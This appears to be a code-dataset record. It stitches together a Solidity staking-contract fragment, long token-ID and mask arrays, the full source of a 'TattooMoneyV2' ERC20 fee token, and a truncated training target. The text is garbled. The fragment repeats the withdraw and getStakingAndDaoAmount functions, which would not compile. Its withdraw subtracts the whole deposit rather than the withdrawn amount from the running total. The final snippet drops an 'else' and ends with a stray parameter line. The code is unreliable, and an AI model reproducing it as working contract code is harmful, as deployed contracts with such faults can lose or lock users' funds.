require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
totalDepositedToken = totalDepositedToken.sub(depositedTokens[msg.sender]);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function withdraw(uint256 amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
totalDepositedToken = totalDepositedToken.sub(depositedTokens[msg.sender]);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function startPeriod() public onlyOwner {
require(Token(tokenAddress).balanceOf(address(this)) > 0);
require(block.timestamp >= periodStartedat.add(rewardInterval));
periodStartedat = block.timestamp;
rewardToken = Token(tokenAddress).balanceOf(address(this));
}
function getStakingAndDaoAmount() public view returns (uint256) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function getStakingAndDaoAmount() public view returns (uint256) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function setCliffTime(uint256 _time) public onlyOwner {
cliffTime = _time;
}
function setRewardInterval(uint256 _rewardInterval) public onlyOwner {
rewardInterval = _rewardInterval;
}
function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner {
stakingAndDaoTokens = _stakingAndDaoTokens;
}
function disableFarm() external onlyOwner() {
farmEnabled = false;
}
function enableFarm() external onlyOwner() {
farmEnabled = true;
}
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
require(_tokenAddress != tokenAddress);
Token(_tokenAddress).transfer(_to, _amount);
}
}
| 16,244,405 |
[
1,
4625,
348,
7953,
560,
30,
225,
27744,
83,
1147,
6835,
1758,
19890,
3673,
2371,
4681,
640,
334,
6159,
3323,
1839,
2371,
4681,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
27744,
83,
67,
2864,
353,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
6057,
25121,
694,
364,
6057,
25121,
694,
18,
1887,
694,
31,
203,
377,
203,
565,
871,
534,
359,
14727,
1429,
4193,
12,
2867,
10438,
16,
2254,
5034,
3844,
1769,
203,
377,
203,
565,
1758,
1071,
1147,
1887,
273,
374,
92,
25,
73,
27,
1880,
6260,
3461,
5908,
37,
3787,
6028,
27,
1611,
5718,
3462,
4763,
29,
2643,
3462,
27,
38,
2090,
42,
20,
69,
23,
42,
28,
31,
203,
377,
203,
565,
2254,
5034,
1071,
19890,
4006,
273,
2371,
4681,
31,
203,
377,
203,
565,
2254,
5034,
1071,
927,
3048,
950,
273,
2371,
4681,
31,
203,
377,
203,
565,
2254,
5034,
1071,
19890,
1345,
31,
203,
565,
2254,
5034,
1071,
3879,
9217,
270,
31,
203,
377,
203,
565,
2254,
5034,
1071,
2078,
9762,
329,
17631,
14727,
31,
203,
565,
2254,
5034,
1071,
2078,
758,
1724,
329,
1345,
31,
203,
377,
203,
565,
1426,
1071,
284,
4610,
1526,
273,
629,
31,
203,
377,
203,
565,
6057,
25121,
694,
18,
1887,
694,
3238,
366,
4665,
31,
203,
377,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
443,
1724,
329,
5157,
31,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
384,
6159,
950,
31,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
2078,
41,
1303,
329,
5157,
31,
203,
377,
203,
565,
445,
1089,
3032,
12,
2867,
2236,
13,
3238,
288,
203,
3639,
2254,
5034,
4634,
7244,
87,
273,
1689,
2846,
7244,
87,
12,
4631,
1769,
203,
540,
203,
3639,
309,
261,
9561,
7244,
87,
405,
374,
13,
288,
203,
5411,
2583,
12,
2629,
18,
5508,
18,
1717,
12,
6908,
9217,
270,
13,
1545,
927,
3048,
950,
18,
1717,
12,
21,
4681,
3631,
315,
6225,
1608,
358,
2529,
5224,
1666,
2548,
1865,
7516,
1199,
1769,
203,
5411,
2583,
12,
1345,
12,
2316,
1887,
2934,
13866,
12,
4631,
16,
4634,
7244,
87,
3631,
315,
4445,
486,
7412,
2430,
1199,
1769,
203,
5411,
2078,
41,
1303,
329,
5157,
63,
4631,
65,
273,
2078,
41,
1303,
329,
5157,
63,
4631,
8009,
1289,
12,
9561,
7244,
87,
1769,
203,
5411,
2078,
9762,
329,
17631,
14727,
273,
2078,
9762,
329,
17631,
14727,
18,
1289,
12,
9561,
7244,
87,
1769,
203,
5411,
19890,
1345,
273,
19890,
1345,
18,
1717,
12,
9561,
7244,
87,
1769,
203,
5411,
3626,
534,
359,
14727,
1429,
4193,
12,
4631,
16,
4634,
7244,
87,
1769,
203,
3639,
289,
203,
565,
289,
203,
377,
203,
565,
445,
1089,
3032,
12,
2867,
2236,
13,
3238,
288,
203,
3639,
2254,
5034,
4634,
7244,
87,
273,
1689,
2846,
7244,
87,
12,
4631,
1769,
203,
540,
203,
3639,
309,
261,
9561,
7244,
87,
405,
374,
13,
288,
203,
5411,
2583,
12,
2629,
18,
5508,
18,
1717,
12,
6908,
9217,
270,
13,
1545,
927,
3048,
950,
18,
1717,
12,
21,
4681,
3631,
315,
6225,
1608,
358,
2529,
5224,
1666,
2548,
1865,
7516,
1199,
1769,
203,
5411,
2583,
12,
1345,
12,
2316,
1887,
2934,
13866,
12,
4631,
16,
4634,
7244,
87,
3631,
315,
4445,
486,
7412,
2430,
1199,
1769,
203,
5411,
2078,
41,
1303,
329,
5157,
63,
4631,
65,
273,
2078,
41,
1303,
329,
5157,
63,
4631,
8009,
1289,
12,
9561,
7244,
87,
1769,
203,
5411,
2078,
9762,
329,
17631,
14727,
273,
2078,
9762,
329,
17631,
14727,
18,
1289,
12,
9561,
7244,
87,
1769,
203,
5411,
19890,
1345,
273,
19890,
1345,
18,
1717,
12,
9561,
7244,
87,
1769,
203,
5411,
3626,
534,
359,
14727,
1429,
4193,
12,
4631,
16,
4634,
7244,
87,
1769,
203,
3639,
289,
203,
565,
289,
203,
377,
203,
565,
445,
1689,
2846,
7244,
87,
12,
2867,
389,
4505,
13,
1071,
1476,
1135,
261,
11890,
5034,
389,
9561,
7244,
87,
13,
288,
203,
3639,
309,
16051,
9000,
18,
12298,
24899,
4505,
3719,
327,
374,
31,
203,
3639,
309,
261,
323,
1724,
329,
5157,
63,
67,
4505,
65,
422,
374,
13,
327,
374,
31,
203,
540,
203,
3639,
2254,
5034,
4634,
7244,
87,
273,
19890,
1345,
18,
16411,
12,
323,
1724,
329,
5157,
63,
67,
4505,
65,
2934,
2892,
12,
4963,
758,
1724,
329,
1345,
1769,
203,
540,
203,
3639,
327,
4634,
7244,
87,
31,
203,
565,
289,
203,
377,
203,
565,
445,
14981,
27003,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
366,
4665,
18,
2469,
5621,
203,
565,
289,
203,
377,
203,
565,
445,
443,
1724,
12,
11890,
5034,
3844,
774,
510,
911,
13,
1071,
288,
203,
3639,
2583,
12,
74,
4610,
1526,
16,
315,
42,
4610,
310,
486,
3696,
4671,
8863,
203,
3639,
2583,
12,
1345,
12,
2316,
1887,
2934,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
774,
510,
911,
3631,
315,
5048,
11339,
3155,
7852,
1359,
8863,
203,
540,
203,
3639,
443,
1724,
329,
5157,
63,
3576,
18,
15330,
65,
273,
443,
1724,
329,
5157,
63,
3576,
18,
15330,
8009,
1289,
12,
8949,
774,
510,
911,
1769,
203,
3639,
2078,
758,
1724,
329,
1345,
273,
2078,
758,
1724,
329,
1345,
18,
1289,
12,
8949,
774,
510,
911,
1769,
203,
540,
203,
3639,
309,
16051,
9000,
18,
12298,
12,
3576,
18,
15330,
3719,
288,
203,
5411,
366,
4665,
18,
1289,
12,
3576,
18,
15330,
1769,
203,
5411,
384,
6159,
950,
63,
3576,
18,
15330,
65,
273,
1203,
18,
5508,
31,
203,
3639,
289,
203,
565,
289,
203,
377,
203,
565,
445,
443,
1724,
12,
11890,
5034,
3844,
774,
510,
911,
13,
1071,
288,
203,
3639,
2583,
12,
74,
4610,
1526,
16,
315,
42,
4610,
310,
486,
3696,
4671,
8863,
203,
3639,
2583,
12,
1345,
12,
2316,
1887,
2934,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
774,
510,
911,
3631,
315,
5048,
11339,
3155,
7852,
1359,
8863,
203,
540,
203,
3639,
443,
1724,
329,
5157,
63,
3576,
18,
15330,
65,
273,
443,
1724,
329,
5157,
63,
3576,
18,
15330,
8009,
1289,
12,
8949,
774,
510,
911,
1769,
203,
3639,
2078,
758,
1724,
329,
1345,
273,
2078,
758,
1724,
329,
1345,
18,
1289,
12,
8949,
774,
510,
911,
1769,
203,
540,
203,
3639,
309,
16051,
9000,
18,
12298,
12,
3576,
18,
15330,
3719,
288,
203,
5411,
366,
4665,
18,
1289,
2
] |
// SPDX-License-Identifier: UNLICENSE
/**
About TattooMoney DeFi & NFT project:
Tattooing is a timeless phenomenon. The first human to be tattooed was Ötzi the Iceman when archaeologists discovered his body dating between 3,370 and 3,100 BC, or more than 5,000 years ago.
We bring tattoos to the cryptographic space...
https://app.TattooMoney.io/ - Our App
https://TattooMoney.io/ - Info about Project
*/
// ------------------------------------------------------------------------------------
// 'TattooMoneyV2' Token Contract
//
// Symbol : TAT2
// Name : TattooMoney
// Total Supply: 1,000,000,000 TAT2
// Decimals : 18
//
// © By 'TattooMoney Co LTD' With 'TAT2' Symbol since 2019.
//
// This is upgrade of token 0x960773318c1aeab5da6605c49266165af56435fa
//
// ------------------------------------------------------------------------------------
import "./owned.sol";
import "./dao.sol";
import "./interfaces.sol";
pragma solidity 0.8.7;
contract TattooMoneyV2 is IERC20, Owned, DAO {
constructor(address _owner) {
balances[_owner] = INITIAL_SUPPLY;
emit Transfer(ZERO, _owner, INITIAL_SUPPLY);
owner = _owner;
dao = 0x1e3d5272aa13f0c6d911866DBEF3C5979d9B7b40;
setfeesfree();
}
string public constant name = "TattooMoney";
string public constant symbol = "TAT2";
uint8 public constant decimals = 18;
uint256 private constant INITIAL_SUPPLY = 1_000_000_000 * (10**decimals);
uint256 private constant maxFee = 10;
uint256 private _totalSupply = INITIAL_SUPPLY;
uint256 private FeeTotalCollected;
uint256 private FeeTotalCollectedBurned;
address private constant ZERO = address(0);
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) public override allowance;
mapping(address => bool) public isFeeFreeSender;
mapping(address => bool) public isFeeFreeRecipient;
mapping(address => bool) public frozenAccount;
uint256 public totalFee = 2; // Total procent fee deductet from transaction
uint256 public burnFees = 40; // fee taken and burned
uint256 public charityFees = 20; // fee taken and added to the charity
address public charityaddress = 0xA48E5C39c9AF0f3B1A948a63F44d63AB777CB684;
uint256 public rewardsFees = 20; // fee taken and added to rewards
address public rewardsaddress = 0x2794F6a795823EDebC41D1799c0829EcD36821d2;
uint256 public systemFees = 0; // fee taken and added to system
address public systemaddress = 0x705E0d5120511d823b813b9e24e5E34a58616C3A;
uint256 public stakingFees = 20; // fee taken and added to staking pool
address public stakingaddress = 0xEDC46D5dDb981b7Da1A743b2739e69e44c4FBCE7;
uint256 public minTotalSupply =0; // min amount of tokens total supply
/**
* @dev Update charity address
* @param _charityaddress new charity address
*/
function updateCharityAddress( address _charityaddress ) external onlyDAO {
charityaddress = _charityaddress;
emit updateedCharityAddress( charityaddress );
}
/**
* @dev Update rewards address
* @param _rewardsaddress new charity address
*/
function updateRewardsAddress( address _rewardsaddress ) external onlyDAO {
rewardsaddress = _rewardsaddress;
emit updateedRewardsAddress( rewardsaddress );
}
/**
* @dev Update rewards address
* @param _systemaddress new charity address
*/
function updateSystemAddress( address _systemaddress ) external onlyDAO {
systemaddress = _systemaddress;
emit updateedSystemAddress( systemaddress );
}
/**
* @dev Update staking address
* @param _stakingaddress new charity address
*/
function updateStakingAddress( address _stakingaddress ) external onlyDAO {
stakingaddress = _stakingaddress;
emit updateedStakingAddress( stakingaddress );
}
/**
* @dev Updates fees
* @param _totalFee total taken fee
* @param _burnFees burn fees
* @param _charityFees liquidity pool fees
* @param _rewardsFees rewards fees
*/
function updateFees( uint256 _totalFee, uint256 _burnFees, uint256 _charityFees, uint256 _rewardsFees, uint256 _systemFees, uint256 _stakingFees ) external onlyDAO {
require( _totalFee <= maxFee, "VERIFY FEE: TOO BIG FEE" );
require( _verifyFees(_burnFees, _charityFees, _rewardsFees, _systemFees, _stakingFees), "VERIFY FEE: SUM DO NOT MATCH");
totalFee = _totalFee;
burnFees = _burnFees;
charityFees = _charityFees;
rewardsFees = _rewardsFees;
systemFees = _systemFees;
stakingFees = _stakingFees;
emit FeesUpdated( totalFee, burnFees, charityFees, rewardsFees, systemFees, stakingFees );
}
/**
* @dev verify fees
* @param _burnFees liquidity pool fees
* @param _charityFees charity fees
* @param _rewardsFees rewards fees
* @param _systemFees system fees
* @param _stakingFees staking fees
*/
function _verifyFees( uint256 _burnFees, uint256 _charityFees, uint256 _rewardsFees, uint256 _systemFees, uint256 _stakingFees) private pure returns (bool){
uint256 _totalFees = _burnFees + _charityFees + _rewardsFees + _systemFees + _stakingFees;
if(_totalFees == 100){
return true;
} else {
return false;
}
}
/**
* @dev Emitted when dao is updated
* @param dao dao address
*/
event DAOUpdated(
address dao
);
// ERC20 totalSupply
function totalSupply() external view override returns (uint256) {
return _totalSupply - balances[ZERO];
}
/// Total fees collected
function FeesCollected() external view returns (uint256) {
return FeeTotalCollected;
}
/// Total fees collected burned
function FeesCollectedBurned() external view returns (uint256) {
return FeeTotalCollectedBurned;
}
// ERC20 balanceOf
function balanceOf(address account)
external
view
override
returns (uint256)
{
return balances[account];
}
// ERC20 transfer
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
// ERC20 approve
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
// ERC20 transferFrom
function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) {
uint256 amt = allowance[sender][msg.sender];
require(amt >= amount, "ERC20: transfer amount exceeds allowance");
// reduce only if not permament allowance (uniswap etc)
allowance[sender][msg.sender] -= amount;
_transfer(sender, recipient, amount);
return true;
}
// ERC20 increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve( msg.sender, spender, allowance[msg.sender][spender] + addedValue );
return true;
}
// ERC20 decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
require( allowance[msg.sender][spender] >= subtractedValue, "ERC20: decreased allowance below zero" );
_approve( msg.sender, spender, allowance[msg.sender][spender] - subtractedValue );
return true;
}
// ERC20 burn
function burn(uint256 amount) external {
require(msg.sender != ZERO, "ERC20: burn from the zero address");
_burn(msg.sender, amount);
}
// ERC20 burnFrom
function burnFrom(address account, uint256 amount) external {
require(account != ZERO, "ERC20: burn from the zero address");
require(allowance[account][msg.sender] >= amount, "ERC20: burn amount exceeds allowance");
allowance[account][msg.sender] -= amount;
_burn(account, amount);
}
function _calcTransferFees( uint256 amount ) private view returns ( uint256 _FeesToTake, uint256 _toburn, uint256 _tocharity, uint256 _toreward, uint256 _tosystem, uint256 _tostaking )
{
_FeesToTake = amount * totalFee / 100;
if((_totalSupply - balances[ZERO]) > minTotalSupply){
_toburn = _FeesToTake * burnFees / 100;
} else {
_toburn = 0;
}
_tocharity = _FeesToTake * charityFees / 100;
_toreward = _FeesToTake * rewardsFees / 100;
_tosystem = _FeesToTake * systemFees / 100;
_tostaking = _FeesToTake * stakingFees / 100;
_FeesToTake = _toburn + _tocharity + _toreward + _tosystem + _tostaking;
}
/**
Internal approve function, emit Approval event
@param _owner approving address
@param spender delegated spender
@param amount amount of tokens
*/
function _approve( address _owner, address spender, uint256 amount ) private {
require(_owner != ZERO, "ERC20: approve from the zero address");
require(spender != ZERO, "ERC20: approve to the zero address");
allowance[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
/**
Internal transfer function, calling feeFree if needed
@param sender sender address
@param recipient destination address
@param Amount transfer amount
*/
function _transfer( address sender, address recipient, uint256 Amount ) private {
require(sender != ZERO, "ERC20: transfer from the zero address");
require(recipient != ZERO, "ERC20: transfer to the zero address");
require(!frozenAccount[sender], "DAO: transfer from this address frozen");
require(!frozenAccount[recipient], "DAO: transfer to this address frozen");
if (Amount > 0) {
if (isFeeFreeSender[sender]){
_feeFreeTransfer(sender, recipient, Amount);
} else if(isFeeFreeRecipient[recipient]){
_feeFreeTransfer(sender, recipient, Amount);
} else {
( uint256 _FeesToTake, uint256 _toburn, uint256 _tocharity, uint256 _toreward, uint256 _tosystem, uint256 _tostaking ) = _calcTransferFees( Amount );
uint256 _totransfer = Amount - _FeesToTake;
uint256 _takefromsender = Amount - _toburn;
FeeTotalCollected += _FeesToTake;
balances[sender] -= _takefromsender;
balances[recipient] += _totransfer;
if(_toburn>0){
_burn(sender, _toburn);
FeeTotalCollectedBurned += _toburn;
emit Transfer(sender, ZERO, _toburn);
}
if(_tocharity>0){
balances[charityaddress] += _tocharity;
emit Transfer(sender, charityaddress, _tocharity);
}
if(_toreward>0){
balances[rewardsaddress] += _toreward;
emit Transfer(sender, rewardsaddress, _toreward);
}
if(_tosystem>0){
balances[systemaddress] += _tosystem;
emit Transfer(sender, systemaddress, _tosystem);
}
if(_tostaking>0){
balances[stakingaddress] += _tostaking;
emit Transfer(sender, stakingaddress, _tostaking);
}
emit Transfer(sender, recipient, _totransfer);
}
} else emit Transfer(sender, recipient, 0);
}
/**
Function provide fee-free transfer for selected addresses
@param sender sender address
@param recipient destination address
@param Amount transfer amount
*/
function _feeFreeTransfer( address sender, address recipient, uint256 Amount ) private {
balances[sender] -= Amount;
balances[recipient] += Amount;
emit Transfer(sender, recipient, Amount);
}
/// internal burn function
function _burn(address account, uint256 Amount) private {
require( balances[account] >= Amount, "ERC20: burn amount exceeds balance" );
balances[account] -= Amount;
_totalSupply -= Amount;
}
/**
* @dev Freez Account
* @param _address adress to feez/unfreez
* @param _freeze set state
*/
function freezeAccount(address _address, bool _freeze) public onlyDAO {
frozenAccount[_address] = _freeze;
}
/**
* @dev Update charity address
* @param _minTotalSupply new charity address
*/
function updateminTotalSupply( uint256 _minTotalSupply ) external onlyDAO {
minTotalSupply = _minTotalSupply;
emit updatedminTotalSupply( minTotalSupply );
}
function setfeesfree() private{
isFeeFreeSender[owner] = true;
isFeeFreeSender[dao] = true;
isFeeFreeSender[charityaddress] = true;
isFeeFreeSender[rewardsaddress] = true;
isFeeFreeSender[systemaddress] = true;
isFeeFreeSender[stakingaddress] = true;
isFeeFreeRecipient[charityaddress] = true;
}
/**
* @dev Emitted when fees are updated
* @param totalFee burn fees
* @param burnFees liquidity pool fees
* @param charityFees charity fees
* @param rewardsFees rewards fees
* @param systemFees system fees
* @param stakingFees staking fees
*/
event FeesUpdated( uint256 totalFee, uint256 burnFees, uint256 charityFees, uint256 rewardsFees, uint256 systemFees, uint256 stakingFees );
/**
* @dev Emitted when staking is updated
* @param stakingaddress burn fees
*/
event updateedStakingAddress( address stakingaddress );
/**
* @dev Emitted when system is updated
* @param systemaddress burn fees
*/
event updateedSystemAddress( address systemaddress );
/**
* @dev Emitted when rewards is updated
* @param rewardsaddress burn fees
*/
event updateedRewardsAddress( address rewardsaddress );
/**
* @dev Emitted when charity is updated
* @param charityaddress burn fees
*/
event updateedCharityAddress( address charityaddress );
/**
* @dev Emitted when minTotalSupply is updated
* @param minTotalSupply burn fees
*/
event updatedminTotalSupply( uint256 minTotalSupply );
//
// Hard Ride
//
/**
Add address that will not pay transfer fees
@param user address to mark as fee-free
*/
function addFeeFree(address user) external onlyDAO {
isFeeFreeSender[user] = true;
}
/**
Remove address form privileged list
@param user user to remove
*/
function removeFeeFree(address user) external onlyDAO {
isFeeFreeSender[user] = false;
}
/**
Add address that will recive tokens without fee
@param user address to mark as fee-free
*/
function addFeeFreeRecipient(address user) external onlyDAO {
isFeeFreeRecipient[user] = true;
}
/**
Remove address form privileged list
@param user user to remove
*/
function removeFeeFreeRecipient(address user) external onlyDAO {
isFeeFreeRecipient[user] = false;
}
/**
Take ETH accidentally send to contract
*/
function withdrawEth() external onlyOwner {
payable(owner).transfer(address(this).balance);
}
/**
Take any ERC20 sent to contract
@param token token address
*/
function withdrawErc20(address token) external onlyOwner {
uint256 balance = IERC20(token).balanceOf(address(this));
require(balance > 0, "Nothing to withdraw");
// use broken IERC20
INterfacesNoR(token).transfer(owner, balance);
}
}
//by Patrick
|
* @dev verify fees @param _burnFees liquidity pool fees @param _charityFees charity fees @param _rewardsFees rewards fees @param _systemFees system fees @param _stakingFees staking fees/
|
function _verifyFees( uint256 _burnFees, uint256 _charityFees, uint256 _rewardsFees, uint256 _systemFees, uint256 _stakingFees) private pure returns (bool){
uint256 _totalFees = _burnFees + _charityFees + _rewardsFees + _systemFees + _stakingFees;
if(_totalFees == 100){
return true;
return false;
}
}
address dao
);
| 426,495 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
3929,
1656,
281,
632,
891,
389,
70,
321,
2954,
281,
4501,
372,
24237,
2845,
1656,
281,
632,
891,
389,
3001,
560,
2954,
281,
1149,
560,
1656,
281,
632,
891,
389,
266,
6397,
2954,
281,
283,
6397,
1656,
281,
632,
891,
389,
4299,
2954,
281,
2619,
1656,
281,
632,
891,
389,
334,
6159,
2954,
281,
384,
6159,
1656,
281,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
